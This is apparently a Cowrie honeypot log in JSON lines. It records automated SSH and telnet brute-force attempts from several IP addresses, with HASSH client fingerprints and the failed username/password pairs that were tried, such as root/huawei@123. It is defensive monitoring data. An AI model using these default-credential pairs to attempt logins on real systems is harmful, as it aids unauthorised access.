{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:25.930454Z","src_ip":"45.156.87.253","session":"6f08ffa1cf67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:26.228402Z","src_ip":"115.160.92.142","session":"9434e302c836","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:27.012495Z","src_ip":"45.156.87.253","session":"6f08ffa1cf67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:27.216273Z","src_ip":"115.160.92.142","session":"9434e302c836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":28778,"dst_ip":"159.203.135.109","dst_port":22,"session":"01a5eefba5dc","protocol":"ssh","message":"New connection: 178.128.39.166:28778 (159.203.135.109:22) [session: 01a5eefba5dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:28.008401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:28.060551Z","src_ip":"178.128.39.166","session":"01a5eefba5dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:28.162181Z","src_ip":"178.128.39.166","session":"01a5eefba5dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:28.590310Z","src_ip":"178.128.39.166","session":"01a5eefba5dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46352,"dst_ip":"10.17.0.5","dst_port":22,"session":"60d7f0b75dec","protocol":"ssh","message":"New connection: 45.156.87.253:46352 (10.17.0.5:22) [session: 60d7f0b75dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:28.926326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:28.929357Z","src_ip":"45.156.87.253","session":"60d7f0b75dec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:29.010500Z","src_ip":"45.156.87.253","session":"60d7f0b75dec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:29.255517Z","src_ip":"45.156.87.253","session":"60d7f0b75dec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:29.673026Z","src_ip":"178.128.39.166","session":"01a5eefba5dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:30.340341Z","src_ip":"45.156.87.253","session":"60d7f0b75dec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44038,"dst_ip":"10.17.0.5","dst_port":22,"session":"d33cdb4db79c","protocol":"ssh","message":"New connection: 45.156.87.253:44038 (10.17.0.5:22) [session: d33cdb4db79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:32.202066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:32.206922Z","src_ip":"45.156.87.253","session":"d33cdb4db79c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:32.286847Z","src_ip":"45.156.87.253","session":"d33cdb4db79c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:32.710617Z","src_ip":"45.156.87.253","session":"d33cdb4db79c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:33.792507Z","src_ip":"45.156.87.253","session":"d33cdb4db79c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.602144956588745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:35.716588Z","src_ip":"72.167.226.244","session":"86c4c511ef30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44040,"dst_ip":"10.17.0.5","dst_port":22,"session":"eafb9be97370","protocol":"ssh","message":"New connection: 45.156.87.253:44040 (10.17.0.5:22) [session: eafb9be97370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:35.726517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:35.730030Z","src_ip":"45.156.87.253","session":"eafb9be97370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:35.810834Z","src_ip":"45.156.87.253","session":"eafb9be97370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:36.067006Z","src_ip":"45.156.87.253","session":"eafb9be97370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:37.152645Z","src_ip":"45.156.87.253","session":"eafb9be97370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44048,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7b6c469f42e","protocol":"ssh","message":"New connection: 45.156.87.253:44048 (10.17.0.5:22) [session: d7b6c469f42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:39.103098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:39.106751Z","src_ip":"45.156.87.253","session":"d7b6c469f42e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:39.188252Z","src_ip":"45.156.87.253","session":"d7b6c469f42e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:39.434288Z","src_ip":"45.156.87.253","session":"d7b6c469f42e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:40.518754Z","src_ip":"45.156.87.253","session":"d7b6c469f42e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44168,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a0e0f67649d","protocol":"ssh","message":"New connection: 45.156.87.253:44168 (10.17.0.5:22) [session: 4a0e0f67649d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:42.371787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:42.464576Z","src_ip":"45.156.87.253","session":"4a0e0f67649d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:42.467129Z","src_ip":"45.156.87.253","session":"4a0e0f67649d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:42.791397Z","src_ip":"45.156.87.253","session":"4a0e0f67649d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:43.874928Z","src_ip":"45.156.87.253","session":"4a0e0f67649d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44172,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ca4e84b1123","protocol":"ssh","message":"New connection: 45.156.87.253:44172 (10.17.0.5:22) [session: 5ca4e84b1123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:45.786074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:45.789588Z","src_ip":"45.156.87.253","session":"5ca4e84b1123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:45.869496Z","src_ip":"45.156.87.253","session":"5ca4e84b1123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karel","password":"karel","message":"login attempt [karel/karel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:46.112916Z","src_ip":"45.156.87.253","session":"5ca4e84b1123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":45336,"dst_ip":"10.17.0.5","dst_port":22,"session":"506268376161","protocol":"ssh","message":"New connection: 198.1.93.192:45336 (10.17.0.5:22) [session: 506268376161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:46.416333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:46.419695Z","src_ip":"198.1.93.192","session":"506268376161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:46.508800Z","src_ip":"198.1.93.192","session":"506268376161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password!@#$%^&*","message":"login attempt [root/password!@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:46.776325Z","src_ip":"198.1.93.192","session":"506268376161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:47.194259Z","src_ip":"45.156.87.253","session":"5ca4e84b1123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:48.162949Z","src_ip":"198.1.93.192","session":"506268376161","protocol":"ssh"}
